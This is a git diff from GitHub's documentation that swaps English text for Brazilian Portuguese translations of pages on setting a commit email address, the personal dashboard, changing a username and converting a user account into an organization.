@@ -1,6 +1,6 @@
 ---
-title: Setting your commit email address
-intro: 'You can set the email address that is used to author commits on {% data variables.product.product_location %} and on your computer.'
+title: Configurar o endereço de e-mail do commit
+intro: 'Você pode definir o endereço de e-mail que é usado para criar commits em {% data variables.product.product_location %} e no seu computador.'
 redirect_from:
   - /articles/keeping-your-email-address-private
   - /articles/setting-your-commit-email-address-on-github
@@ -20,43 +20,44 @@ versions:
 topics:
   - Accounts
   - Notifications
-shortTitle: Set commit email address
+shortTitle: Definir endereço de e-mail do commit
 ---
-## About commit email addresses
 
-{% data variables.product.prodname_dotcom %} uses your commit email address to associate commits with your account on {% data variables.product.product_location %}. You can choose the email address that will be associated with the commits you push from the command line as well as web-based Git operations you make.
+## Sobre os endereços de e-mail do commit
 
-For web-based Git operations, you can set your commit email address on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For commits you push from the command line, you can set your commit email address in Git.
+{% data variables.product.prodname_dotcom %} utiliza seu endereço de e-mail de commit para associar commits à sua conta em {% data variables.product.product_location %}. Você pode escolher o endereço de e-mail que será associado aos commits cujo push é feito usando a linha de comando e às operações do Git baseadas na web executadas.
 
-{% ifversion fpt or ghec %}Any commits you made prior to changing your commit email address are still associated with your previous email address.{% else %}After changing your commit email address on {% data variables.product.product_name %}, the new email address will be visible in all of your future web-based Git operations by default. Any commits you made prior to changing your commit email address are still associated with your previous email address.{% endif %}
+Para operações com base na web do Git, você pode definir seu endereço de e-mail de commit em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Para commits cujo push é feito usando a linha de comando, você pode configurar o endereço de e-mail do commmit no Git.
+
+{% ifversion fpt or ghec %}Os commits feitos antes da alteração do endereço de e-mail do commit continuarão associados ao endereço de e-mail anterior.{% else %}Depois de alterar o endereço de e-mail do commit no {% data variables.product.product_name %}, o novo endereço de e-mail ficará visível por padrão em todas as próximas operações do Git baseadas na web. Os commits feitos antes da alteração do endereço de e-mail do commit continuarão associados ao endereço de e-mail anterior.{% endif %}
 
 {% ifversion fpt or ghec %}
 
 {% note %}
 
-**Note**: {% data reusables.user_settings.no-verification-disposable-emails %}
+**Observação**: {% data reusables.user_settings.no-verification-disposable-emails %}
 
 {% endnote %}
 
 {% endif %}
 
-{% ifversion fpt or ghec %}If you'd like to keep your personal email address private, you can use a `no-reply` email address from {% data variables.product.product_name %} as your commit email address. To use your `noreply` email address for commits you push from the command line, use that email address when you set your commit email address in Git. To use your `noreply` address for web-based Git operations, set your commit email address on GitHub and choose to **Keep my email address private**.
+{% ifversion fpt or ghec %}Se você quiser manter seu endereço de e-mail pessoal, você poderá usar um endereço de e-mail `no-reply` de {% data variables.product.product_name %} como seu endereço de e-mail de commit. Para usar o endereço de e-mail `noreply` para commits cujo push é feito usando a linha de comando, use esse endereço de e-mail ao configurar o endereço de e-mail do commit no Git. Para usar o endereço `noreply` para operações do Git baseadas na web, configure o endereço de e-mail do commit no GitHub e selecione **Keep my email address private** (Manter meu endereço de e-mail privado).
 
-You can also choose to block commits you push from the command line that expose your personal email address. For more information, see "[Blocking command line pushes that expose your personal email](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)."{% endif %}
+Você também pode optar por bloquear os commits cujo push é feito usando a linha de comando que expõem seu endereço de e-mail pessoal. Para obter mais informações, consulte "[Bloquear pushes de linha de comando que mostrem endereços de e-mail pessoais](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)".{% endif %}
 
-To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.product.product_location %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. {% ifversion not ghae %}For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)."{% endif %}
+Para garantir que os commits sejam atribuídos a você e que apareçam no gráfico de contribuição, use um endereço de e-mail conectado à sua conta em {% data variables.product.product_location %}{% ifversion fpt or ghec %} ou o endereço de e-mail `noreply` fornecido a você nas suas configurações de e-mail{% endif %}. {% ifversion not ghae %}Para obter mais informações, consulte "[Adicionar um endereço de e-mail à sua conta de {% data variables.product.prodname_dotcom %}](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account){% endif %}
 
 {% ifversion fpt or ghec %}
 
 {% note %}
 
-**Note:** If you created your account on {% data variables.product.product_location %} _after_ July 18, 2017, your `no-reply` email address for {% data variables.product.product_name %} is a seven-digit ID number and your username in the form of <code><em>ID+username</em>@users.noreply.github.com</code>. If you created your account on {% data variables.product.product_location %} _prior to_ July 18, 2017, your `no-reply` email address from {% data variables.product.product_name %} is <code><em>username</em>@users.noreply.github.com</code>. You can get an ID-based `no-reply` email address for {% data variables.product.product_name %} by selecting (or deselecting and reselecting) **Keep my email address private** in your email settings.
+**Observação:** Se você criou a sua conta em {% data variables.product.product_location %} _após_ julho de 2017, seu endereço de e-mail `no-reply` para {% data variables.product.product_name %} será um número de ID de 7 dígitos e seu nome de usuário no seguinte formato: <code><em>ID+nome de usuário</em>@users.noreply.github.com</code>. Se você criou sua conta em {% data variables.product.product_location %} _antes de_ 18 de julho de 2017, o seu endereço de e-mail `no-reply` de {% data variables.product.product_name %} será <code><em>nome de usuário</em>@users.noreply.github.com</code>. Você pode obter um endereço de e-mail `no-reply` baseado no ID para {% data variables.product.product_name %}, selecionando (ou desmarcando e selecionando) **Mantenha meu endereço de e-mail privado** nas suas configurações de e-mail.
 
 {% endnote %}
 
-If you use your `noreply` email address for {% data variables.product.product_name %} to make commits and then [change your username](/articles/changing-your-github-username), those commits will not be associated with your account on {% data variables.product.product_location %}. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.product_name %}. For more information, see "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)."{% endif %}
+Se você usar o seu endereço de e-mail `noreply` para {% data variables.product.product_name %} fazer commits e, em seguida, [mudar seu nome de usuário](/articles/changing-your-github-username), esses commits não serão associados à sua conta no {% data variables.product.product_location %}. Isso não se aplica se você estiver usando o endereço `noreply` baseado no ID de {% data variables.product.product_name %}. Para obter mais informações, consulte "[Alterar seu nome de usuário do {% data variables.product.prodname_dotcom %}](/articles/changing-your-github-username)".{% endif %}
 
-## Setting your commit email address on {% data variables.product.prodname_dotcom %}
+## Configurar o endereço de e-mail do commit no {% data variables.product.prodname_dotcom %}
 
 {% data reusables.files.commit-author-email-options %}
 
@@ -66,11 +67,11 @@ If you use your `noreply` email address for {% data variables.product.product_na
 {% data reusables.user_settings.select_primary_email %}{% ifversion fpt or ghec %}
 {% data reusables.user_settings.keeping_your_email_address_private %}{% endif %}
 
-## Setting your commit email address in Git
+## Configurar o endereço de e-mail do commit no Git
 
-You can use the `git config` command to change the email address you associate with your Git commits. The new email address you set will be visible in any future commits you push to {% data variables.product.product_location %} from the command line. Any commits you made prior to changing your commit email address are still associated with your previous email address.
+Você pode usar o comando `git config` para alterar o endereço de e-mail associado aos commits do Git. O novo endereço de e-mail configurado ficará visível em todos os commits cujo push é feito para o {% data variables.product.product_location %} usando a linha de comando. Os commits feitos antes da alteração do endereço de e-mail do commit continuarão associados ao endereço de e-mail anterior.
 
-### Setting your email address for every repository on your computer
+### Configurar o endereço de e-mail para todos os repositórios no computador
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 2. {% data reusables.user_settings.set_your_email_address_in_git %}
@@ -84,14 +85,14 @@ You can use the `git config` command to change the email address you associate w
    ```
 4. {% data reusables.user_settings.link_email_with_your_account %}
 
-### Setting your email address for a single repository
+### Configurar o endereço de e-mail para um repositório específico
 
-{% data variables.product.product_name %} uses the email address set in your local Git configuration to associate commits pushed from the command line with your account on {% data variables.product.product_location %}.
+{% data variables.product.product_name %} usa o endereço de e-mail definido na sua configuração local do Git para associar commits enviados por push a partir da linha de comando para sua conta em {% data variables.product.product_location %}.
 
-You can change the email address associated with commits you make in a single repository. This will override your global Git config settings in this one repository, but will not affect any other repositories.
+Você pode alterar o endereço de e-mail associado aos commits feitos em um repositório específico. Isso sobrescreverá as definições de configuração global do Git no repositório em questão, mas não afetará nenhum outro repositório.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to the local repository where you want to configure the email address that you associate with your Git commits.
+2. Altere o diretório de trabalho atual para o repositório local no qual deseja configurar o endereço de e-mail associado aos commits do Git.
 3. {% data reusables.user_settings.set_your_email_address_in_git %}
    ```shell
    $ git config user.email "<em>email@example.com</em>"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md
index 8ed0bcd91e..c6c8453d32 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md
@@ -1,12 +1,12 @@
 ---
-title: About your personal dashboard
+title: Sobre seu painel pessoal
 redirect_from:
   - /hidden/about-improved-navigation-to-commonly-accessed-pages-on-github
   - /articles/opting-into-the-public-beta-for-a-new-dashboard
   - /articles/about-your-personal-dashboard
   - /github/setting-up-and-managing-your-github-user-account/about-your-personal-dashboard
   - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard
-intro: 'You can visit your personal dashboard to keep track of issues and pull requests you''re working on or following, navigate to your top repositories and team pages, stay updated on recent activities in organizations and repositories you''re subscribed to, and explore recommended repositories.'
+intro: 'Você pode visitar seu painel pessoal para acompanhar problemas e pull requests nos quais está trabalhando ou seguindo, navegar para os repositórios principais e páginas de equipe, manter-se atualizado sobre atividades recentes nas organizações e nos repositórios em que está inscrito e explorar repositórios recomendados.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -14,49 +14,50 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Your personal dashboard
+shortTitle: Seu painel pessoal
 ---
-## Accessing your personal dashboard
 
-Your personal dashboard is the first page you'll see when you sign in on {% data variables.product.product_name %}.
+## Acessar seu painel pessoal
 
-To access your personal dashboard once you're signed in, click the {% octicon "mark-github" aria-label="The github octocat logo" %} in the upper-left corner of any page on {% data variables.product.product_name %}.
+Seu quadro pessoal é a primeira página que você verá quando entrar no {% data variables.product.product_name %}.
 
-## Finding your recent activity
+Para acessar seu quadro pessoal assim que se conectar, clique no {% octicon "mark-github" aria-label="The github octocat logo" %} no canto superior esquerdo de qualquer página em {% data variables.product.product_name %}.
 
-In the "Recent activity" section of your news feed, you can quickly find and follow up with recently updated issues and pull requests you're working on. Under "Recent activity", you can preview up to 12 recent updates made in the last two weeks.
+## Encontrar sua atividade recente
+
+Na seção "Recent activity" (Atividade recente) do feed de notícias, você pode encontrar e acompanhar problemas e pull requests recém-atualizados nos quais você está trabalhando, além de visualizar até 12 atualizações recentes feitas nas últimas duas semanas.
 
 {% data reusables.dashboard.recent-activity-qualifying-events %}
 
-## Finding your top repositories and teams
+## Encontrar equipes e repositórios principais
 
-In the left sidebar of your dashboard, you can access the top repositories and teams you use.
+Na barra lateral esquerda do painel, é possível acessar os repositórios e equipes principais que usa.
 
-![list of repositories and teams from different organizations](/assets/images/help/dashboard/repositories-and-teams-from-personal-dashboard.png)
+![lista de repositórios e equipes de diferentes organizações](/assets/images/help/dashboard/repositories-and-teams-from-personal-dashboard.png)
 
-The list of top repositories is automatically generated, and can include any repository you have interacted with, whether it's owned directly by your account or not. Interactions include making commits and opening or commenting on issues and pull requests. The list of top repositories cannot be edited, but repositories will drop off the list 4 months after you last interacted with them.
+A lista dos principais repositórios é gerada automaticamente e pode incluir qualquer repositório com o qual você interagiu, independentemente de pertencer diretamente à sua conta. As interações incluem criação commits, abrir ou comentar em problemas e pull requests. A lista dos principais repositórios não pode ser editada, mas os repositórios serão excluídos da lista 4 meses após a última vez que você interagir com eles.
 
-You can also find a list of your recently visited repositories, teams, and project boards when you click into the search bar at the top of any page on {% data variables.product.product_name %}.
+Também é possível encontrar uma lista de seus repositórios, equipes e quadros de projeto recentemente visitados quando você clica na barra de pesquisa no topo de qualquer página do {% data variables.product.product_name %}.
 
-## Staying updated with activity from the community
+## Permanecer atualizado com as atividades da comunidade
 
-In the "All activity" section of your news feed, you can view updates from repositories you're subscribed to and people you follow. The "All activity" section shows updates from repositories you watch or have starred, and from users you follow.
+Na seção "All activity" (Todas as atividades) do feed de notícias, você pode exibir atualizações de repositórios em que está inscrito e de pessoas que você segue. Essa seção mostra atualizações dos repositórios que você inspeciona ou marca com estrela e dos usuários que você segue.
 
-You'll see updates in your news feed when a user you follow:
-- Stars a repository.
-- Follows another user.{% ifversion fpt or ghes or ghec %}
-- Creates a public repository.{% endif %}
-- Opens an issue or pull request with "help wanted" or "good first issue" label on a repository you're watching.
-- Pushes commits to a repository you watch.{% ifversion fpt or ghes or ghec %}
-- Forks a public repository.{% endif %}
-- Publishes a new release.
+Atualizações serão exibidas no feed de notícias quando um usuário que você segue:
+- Marcar um repositório com estrelas.
+- Segue outro usuário.{% ifversion fpt or ghes or ghec %}
+- Cria um repositório público.{% endif %}
+- Abrir um problema ou uma pull request com a etiqueta "help wanted" ou "good first issue" em um repositório que você está inspecionando.
+- Faz push de commits para um repositório que você inspeciona.{% ifversion fpt or ghes or ghec %}
+- Bifurca um repositório público.{% endif %}
+- Publica uma nova versão.
 
-For more information about starring repositories and following people, see "[Saving repositories with stars](/articles/saving-repositories-with-stars/)" and "[Following people](/articles/following-people)."
+Para obter mais informações sobre como atribuir estrelas a repositórios e seguir pessoas, consulte "[Salvar repositórios com estrelas](/articles/saving-repositories-with-stars/)" e "[Seguir pessoas](/articles/following-people)".
 
-## Exploring recommended repositories
+## Explorar repositórios recomendados
 
-In the "Explore repositories" section on the right side of your dashboard, you can explore recommended repositories in your communities. Recommendations are based on repositories you've starred or visited, the people you follow, and activity within repositories that you have access to.{% ifversion fpt or ghec %} For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %}
+Na seção "Explorar repositórios" no lado direito do painel, é possível explorar repositórios recomendados nas suas comunidades. As recomendações são baseadas em repositórios que você favoritou ou visitou, as pessoas que você segue e a atividade nos repositórios aos quais você tem acesso.{% ifversion fpt or ghec %} Para obter mais informações, consulte "[Encontrar formas de contribuir com código aberto no {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %}
 
-## Further reading
+## Leia mais
 
-- "[About your organization dashboard](/articles/about-your-organization-dashboard)"
+- "[Sobre o painel da sua organização](/articles/about-your-organization-dashboard)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md
index f03142d93f..b9e6997943 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md
@@ -1,6 +1,6 @@
 ---
-title: Changing your GitHub username
-intro: 'You can change the username for your account on {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_location %} if your instance uses built-in authentication{% endif %}.'
+title: Alterar seu nome de usuário do GitHub
+intro: 'Você pode alterar o nome de usuário da sua conta em {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_location %} se sua instância usar autenticação integrada{% endif %}.'
 redirect_from:
   - /articles/how-to-change-your-username
   - /articles/changing-your-github-user-name
@@ -15,7 +15,7 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Change your username
+shortTitle: Mude seu nome de usuário
 ---
 
 {% ifversion ghec or ghes %}
@@ -24,11 +24,11 @@ shortTitle: Change your username
 
 {% ifversion ghec %}
 
-**Note**: Members of an {% data variables.product.prodname_emu_enterprise %} cannot change usernames. Your enterprise's IdP administrator controls your username for {% data variables.product.product_name %}. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+**Observação**: Integrantes de {% data variables.product.prodname_emu_enterprise %} não podem mudar nomes de usuário. O administrador do IdP da empresa controla seu nome de usuário para {% data variables.product.product_name %}. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
 
 {% elsif ghes %}
 
-**Note**: If you sign into {% data variables.product.product_location %} with LDAP credentials or single sign-on (SSO), only your local administrator can change your username. For more information about authentication methods for {% data variables.product.product_name %}, see "[Authenticating users for {% data variables.product.product_location %}](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)."
+**Observação**: Se você efetuar o login em {% data variables.product.product_location %} com as credenciais do LDAP ou logon único (SSO), somente seu administrador local poderá alterar seu nome de usuário. Para obter mais informações sobre métodos de autenticação para {% data variables.product.product_name %}, consulte "[Efetuando a autenticação de usuários para {% data variables.product.product_location %}](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)".
 
 {% endif %}
 
@@ -36,57 +36,53 @@ shortTitle: Change your username
 
 {% endif %}
 
-## About username changes
+## Sobre alterações no nome de usuário
 
-You can change your username to another username that is not currently in use.{% ifversion fpt or ghec %} If the username you want is not available, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you find a similar username that's still available.
+Você pode alterar seu nome de usuário para outro nome de usuário que não está atualmente em uso.{% ifversion fpt or ghec %} Se o nome de usuário que você deseja não estiver disponível, considere outros nomes ou variações exclusivas. Usar um número, hífen ou uma ortografia alternativa pode ajudar você a encontrar um nome de usuário semelhante que ainda está disponível.
 
-If you hold a trademark for the username, you can find more information about making a trademark complaint on our [Trademark Policy](/free-pro-team@latest/github/site-policy/github-trademark-policy) page. 
+Se você tem uma marca registrada para o nome de usuário, você pode encontrar mais informações sobre como fazer uma reclamação de marca registrada na nossa página de [Política da marca registrada](/free-pro-team@latest/github/site-policy/github-trademark-policy).
 
-If you do not hold a trademark for the name, you can choose another username or keep your current username. {% data variables.contact.github_support %} cannot release the unavailable username for you. For more information, see "[Changing your username](#changing-your-username)."{% endif %}
+Se você não tiver uma marca registrada para o nome, você poderá escolher outro nome de usuário ou manter seu nome de usuário atual. O {% data variables.contact.github_support %} não pode liberar o nome de usuário indisponível para você. Para obter mais informações, consulte "[Alterar nome de usuário](#changing-your-username)".{% endif %}
 
-After changing your username, your old username becomes available for anyone else to claim. Most references to your repositories under the old username automatically change to the new username. However, some links to your profile won't automatically redirect.
+Depois de alterar seu nome de usuário, o nome antigo será disponibilizado para reivindicação por qualquer pessoa. A maioria das referências aos seus repositórios sob o nome de usuário antigo muda automaticamente para o novo nome de usuário. No entanto, alguns links para seu perfil não são redirecionados automaticamente.
 
-{% data variables.product.product_name %} cannot set up redirects for:
-- [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) using your old username
-- Links to [gists](/articles/creating-gists) that include your old username
+O {% data variables.product.product_name %} não pode configurar redirecionamentos para:
+- [@menções](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) usando o nome de usuário antigo
+- Links para [gists](/articles/creating-gists) que incluem o nome de usuário antigo
 
-{% ifversion fpt or ghec %} 
+{% ifversion fpt or ghec %}
 
-If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you cannot make changes to your username. {% data reusables.enterprise-accounts.emu-more-info-account %}
+Se você for integrante de um {% data variables.product.prodname_emu_enterprise %}, não será possível alterar seu nome de usuário. {% data reusables.enterprise-accounts.emu-more-info-account %}
 
 {% endif %}
 
-## Repository references
+## Referências de repositório
 
-After you change your username, {% data variables.product.product_name %} will automatically redirect references to your repositories.
-- Web links to your existing repositories will continue to work. This can take a few minutes to complete after you make the change.
-- Command line pushes from your local repository clones to the old remote tracking URLs will continue to work.
+Após alteração do nome de usuário, o {% data variables.product.product_name %} redirecionará automaticamente as referências para os repositórios.
+- Os links da web para repositórios existentes continuarão funcionando. Esse processo pode demorar alguns minutos para ser concluído após a alteração.
+- A linha de comando que faz push dos clones do repositório local para as URLs de controle do remote continuarão funcionando.
 
-If the new owner of your old username creates a repository with the same name as your repository, that will override the redirect entry and your redirect will stop working. Because of this possibility, we recommend you update all existing remote repository URLs after changing your username. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+Se o novo proprietário do seu antigo nome de usuário criar um repositório com o mesmo nome do seu repositório, isso substituirá a entrada de redirecionamento e o seu redirecionamento para de funcionar. Por conta dessa possibilidade, é recomendável atualizar todas as URLs existentes do repositório remote após alteração do seu nome de usuário. Para obter mais informações, consulte "[Gerenciar repositórios remotos](/github/getting-started-with-github/managing-remote-repositories)".
 
-## Links to your previous profile page
+## Links para a página de perfil anterior
 
-After changing your username, links to your previous profile page, such as `https://{% data variables.command_line.backticks %}/previoususername`, will return a 404 error. We recommend updating any links to your account on {% data variables.product.product_location %} from elsewhere{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profile{% endif %}.
+Após alteração do nome de usuário, os links para sua página de perfil anterior, como `https://{% data variables.command_line.backticks %}/previoususername`, retornarão um erro 404. Recomendamos atualizar todos os links para a sua conta em {% data variables.product.product_location %} a partir de outro lugar{% ifversion fpt or ghec %}, como seu LinkedIn ou perfil do Twitter{% endif %}.
 
-## Your Git commits
+## Seus commits no Git
 
-{% ifversion fpt or ghec %}Git commits that were associated with your {% data variables.product.product_name %}-provided `noreply` email address won't be attributed to your new username and won't appear in your contributions graph.{% endif %} If your Git commits are associated with another email address you've [added to your GitHub account](/articles/adding-an-email-address-to-your-github-account), {% ifversion fpt or ghec %}including the ID-based {% data variables.product.product_name %}-provided `noreply` email address, {% endif %}they'll continue to be attributed to you and appear in your contributions graph after you've changed your username. For more information on setting your email address, see "[Setting your commit email address](/articles/setting-your-commit-email-address)."
+{% ifversion fpt or ghec %}Os commits do Git que foram associados ao seu endereço de e-mail `noreply` fornecido por {% data variables.product.product_name %} não serão atribuídos ao seu novo nome de usuário e não aparecerão no gráfico de contribuições.{% endif %} Se os seus commits do Git estiverem associados a outro endereço de e-mail que você adicionou [ à sua conta do GitHub](/articles/adding-an-email-address-to-your-github-account), {% ifversion fpt or ghec %}incluindo o ID do endereço de e-mail `noreply` fornecido por {% data variables.product.product_name %}, {% endif %}eles continuarão sendo atribuídos a você e aparecerão no gráfico de contribuições depois que você mudar seu nome de usuário. Para obter mais informações sobre como configurar o endereço de e-mail, consulte "[Configurar o endereço de e-mail do commit](/articles/setting-your-commit-email-address)".
 
-## Changing your username
+## Alterar nome de usuário
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.account_settings %}
-3. In the "Change username" section, click **Change username**.
-   ![Change Username button](/assets/images/help/settings/settings-change-username.png){% ifversion fpt or ghec %}
-4. Read the warnings about changing your username. If you still want to change your username, click **I understand, let's change my username**.
-   ![Change Username warning button](/assets/images/help/settings/settings-change-username-warning-button.png)
-5. Type a new username.
-   ![New username field](/assets/images/help/settings/settings-change-username-enter-new-username.png)
-6. If the username you've chosen is available, click **Change my username**. If the username you've chosen is unavailable, you can try a different username or one of the suggestions you see.
-   ![Change Username warning button](/assets/images/help/settings/settings-change-my-username-button.png)
+3. Na seção "Change username" (Alterar nome de usuário), clique em **Change username** (Alterar nome de usuário). ![Change Username button](/assets/images/help/settings/settings-change-username.png){% ifversion fpt or ghec %}
+4. Leia os avisos sobre a mudança de seu nome de usuário. Se você ainda quiser alterar seu nome de usuário, clique em **I understand, let's change my username** (Compreendo, vamos alterar meu nome de usuário). ![Botão de aviso Change Username (Alterar nome de usuário)](/assets/images/help/settings/settings-change-username-warning-button.png)
+5. Digite um novo nome de usuário. ![Campo New Username (Novo nome de usuário)](/assets/images/help/settings/settings-change-username-enter-new-username.png)
+6. Se o nome que você escolheu estiver disponível, clique em **Change my username** (Alterar meu nome de usuário). Se o nome que você escolheu estiver indisponível, tente um nome de usuário diferente ou uma das sugestões que aparecem. ![Botão de aviso Change Username (Alterar nome de usuário)](/assets/images/help/settings/settings-change-my-username-button.png)
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Why are my commits linked to the wrong user?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)"{% ifversion fpt or ghec %}
-- "[{% data variables.product.prodname_dotcom %} Username Policy](/free-pro-team@latest/github/site-policy/github-username-policy)"{% endif %}
+- "[Por que os meus commits estão vinculados ao usuário incorreto?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)"{% ifversion fpt or ghec %}
+- "[{% data variables.product.prodname_dotcom %} Política de nome de usuário](/free-pro-team@latest/github/site-policy/github-username-policy)"{% endif %}
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
index 7fececc39d..6237c78e27 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
@@ -1,69 +1,67 @@
 ---
-title: Converting a user into an organization
+title: Converter um usuário em uma organização
 redirect_from:
   - /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization
   - /articles/explaining-the-account-transformation-warning
   - /articles/converting-a-user-into-an-organization
   - /github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization
   - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization
-intro: You can convert your user account into an organization. This allows more granular permissions for repositories that belong to the organization.
+intro: Você pode converter sua conta de usuário em uma organização. Isso permite permissões mais granulares para repositórios que pertencem à organização.
 versions:
   fpt: '*'
   ghes: '*'
   ghec: '*'
 topics:
   - Accounts
-shortTitle: User into an organization
+shortTitle: Usuário em uma organização
 ---
+
 {% warning %}
 
-**Warning**: Before converting a user into an organization, keep these points in mind:
+**Aviso**: antes de converter um usuário em uma organização, lembre-se destes pontos:
 
- - You will **no longer** be able to sign into the converted user account.
- - You will **no longer** be able to create or modify gists owned by the converted user account.
- - An organization **cannot** be converted back to a user.
- - The SSH keys, OAuth tokens, job profile,  reactions, and associated user information, **will not** be transferred to the organization. This is only true for the user account that's being converted, not any of the user account's collaborators.
- - Any commits made with the converted user account **will no longer be linked** to that account. The commits themselves **will** remain intact.
- - Any forks of private repositories made with the converted user account will be deleted.
+ - Você **não poderá** mais entrar na conta do usuário convertido.
+ - Você **não poderá** mais criar nem modificar gists pertencentes à conta do usuário convertido.
+ - Uma organização **não pode** ser convertida de volta em um usuário.
+ - As chaves SSH, os tokens do OAuth, o perfil de trabalho, as reações e as informações do usuário associadas, **não** serão transferidos para a organização. Isso é válido apenas para a conta de usuário que está sendo convertida, e não para colaboradores da conta de usuário.
+ - Qualquer commit feito com a conta do usuário convertido **não será mais vinculado** a essa conta. Os commits em si **permanecerão** intactos.
+ - Todas as bifurcações de repositórios privados feitas com a conta de usuário convertida serão excluídas.
 
 {% endwarning %}
 
-## Keep your personal user account and create a new organization manually
+## Manter a conta de usuário pessoal e criar uma organização manualmente
 
-If you want your organization to have the same name that you are currently using for your personal account, or if you want to keep your personal user account's information intact, then you must create a new organization and transfer your repositories to it instead of converting your user account into an organization.
+Se quiser que sua organização tenha o mesmo nome que atualmente você está usando para sua conta pessoal, ou quiser manter intactas as informações da sua conta de usuário pessoal, será preciso criar uma organização e transferir os repositórios para ela em vez de converter sua conta de usuário em uma organização.
 
-1. To retain your current user account name for your personal use, [change the name of your personal user account](/articles/changing-your-github-username) to something new and wonderful.
-2. [Create a new organization](/articles/creating-a-new-organization-from-scratch) with the original name of your personal user account.
-3. [Transfer your repositories](/articles/transferring-a-repository) to your new organization account.
+1. Para manter o nome da sua conta de usuário atual para uso pessoal, [mude o nome da sua conta de usuário pessoal](/articles/changing-your-github-username) para algo novo e maravilhoso.
+2. [Crie uma organização](/articles/creating-a-new-organization-from-scratch) com o nome original da sua conta de usuário pessoal.
+3. [Transfira os repositórios](/articles/transferring-a-repository) para sua nova conta de organização.
 
-## Convert your personal account into an organization automatically
+## Converter sua conta pessoal em uma organização automaticamente
 
-You can also convert your personal user account directly into an organization. Converting your account:
- - Preserves the repositories as they are without the need to transfer them to another account manually
- - Automatically invites collaborators to teams with permissions equivalent to what they had before
- {% ifversion fpt or ghec %}- For user accounts on {% data variables.product.prodname_pro %}, automatically transitions billing to [the paid {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts) without the need to re-enter payment information, adjust your billing cycle, or double pay at any time{% endif %}
+Você também pode converter sua conta de usuário pessoal diretamente em uma organização. A conversão da conta:
+ - Preserva os repositórios como estão sem a necessidade de transferi-los para outra conta manualmente
+ - Convida automaticamente colaboradores para equipes com permissões equivalentes às que tinham antes
+ {% ifversion fpt or ghec %}- Para contas de usuário no {% data variables.product.prodname_pro %}, faz a transição da cobrança automaticamente para o [{% data variables.product.prodname_team %} pago](/articles/about-billing-for-github-accounts) sem a necessidade de inserir novamente as informações de pagamento, ajustar o ciclo de cobrança ou pagar em dobro{% endif %}
